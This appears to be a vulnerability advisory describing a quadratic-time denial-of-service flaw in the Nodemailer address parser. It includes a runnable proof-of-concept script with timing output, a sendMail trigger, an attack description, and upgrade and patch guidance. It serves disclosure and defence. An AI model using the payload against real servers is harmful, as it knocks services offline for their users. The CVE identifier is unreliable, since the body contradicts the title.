Nodemailer, Address Parser Quadratic DoS, CVE-2025-14874 (Critical) -DC-Sep2026-2280

Listen to this Post

The Nodemailer library’s address parser (lib/addressparser/index.js) processes a comma‑separated list of email addresses with quadratic time complexity relative to the number of addresses. An attacker can craft a single To, Cc, Bcc, From, or `Reply-To` header (or any input passed to the exported `addressparser` function) that contains many repeated addresses, e.g. '[email protected],'.repeat(n). For each address, the parser splits the input into token groups and accumulates parsed results using `Array.prototype.concat` inside a loop. On each iteration, `parsedAddresses = parsedAddresses.concat(handled)` creates a new array copying all previously accumulated elements, leading to a total of O(n²) element copies and transient allocations. Tokenization and address handling are linear, so the quadratic blowup comes solely from this accumulator.
This issue requires no special configuration and no cooperating receiver; it is triggered on the default code path of the library. A 1.5 MB address value freezes the Node.js event loop for ~25–30 seconds at 100% CPU, and larger inputs (a few MB) can stall the server for minutes. The problem is distinct from the recursion DoS fixed by CVE‑2025‑14874 (which had a nesting‑depth cap); this flat comma‑separated list has no such limit.
The parser is reachable via the normal send path: `MimeNode.setHeader(‘To’, value)` → `_parseAddresses` → addressparser, and also via getEnvelope(). It is also called directly by many applications that import `require(‘nodemailer/lib/addressparser’)` for validation or display. A single `sendMail({ to: craftedString })` call suffices to block the entire server. The fix replaces the `concat` accumulation with an in‑place append (parsedAddresses.push.apply(parsedAddresses, handled)), making the operation linear. Three separate quadratic paths were addressed in version 9.1.0, including a uniqueness check that scanned recipients linearly per address.

DailyCVE Form:

Platform: Node.js Nodemailer
Version: < 9.1.0
Vulnerability: Quadratic Complexity DoS
Severity: Critical
date: Not specified

Prediction: Already patched in 9.1.0

What Undercode Say:

Reproduce the vulnerability using the following commands and code:

npm init -y && npm install [email protected]

Create `poc-dos.js`:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');
console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
const payload = '[email protected],'.repeat(n);
const t0 = process.hrtime.bigint();
addressparser(payload);
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run it:

node poc-dos.js

Expected output (nodemailer 9.0.6):

addresses | input size | parse time
25000 | 0.19 MB | 381 ms
50000 | 0.38 MB | 1435 ms
100000 | 0.76 MB | 7949 ms
200000 | 1.53 MB | 25154 ms

Equivalent trigger via `sendMail`:

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
.sendMail({ from: '[email protected]', to: '[email protected],'.repeat(150000), subject: 'x', text: 'y' });

Exploit: (Educational Purposes!)

An attacker can send a single HTTP request to an endpoint that uses Nodemailer to send an email, with a large `to` field containing repeated addresses. The server will hang for tens of seconds or minutes, exhausting CPU and blocking all other requests. No authentication or special options are needed; the vulnerability is triggered purely by the input length.

Protection:

  • Upgrade Nodemailer to version 9.1.0 or later, where all quadratic paths are fixed and a `maxRecipients` option (default 100000) is available.
  • If upgrading is not immediately possible, apply the commit changes manually: replace `parsedAddresses.concat(handled)` with `parsedAddresses.push.apply(parsedAddresses, handled)` and fix the uniqueness scan.
  • Consider validating and limiting the total length of address fields before passing them to the parser, or set a maximum number of recipients at the application level.

Impact:

  • Denial of service for any Node.js application using Nodemailer (or `addressparser` standalone) with untrusted address input.
  • Event loop blocked, making the entire process unresponsive to other requests.
  • No data loss or code execution, but availability is severely degraded; an attacker can easily bring down the service with a single request.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top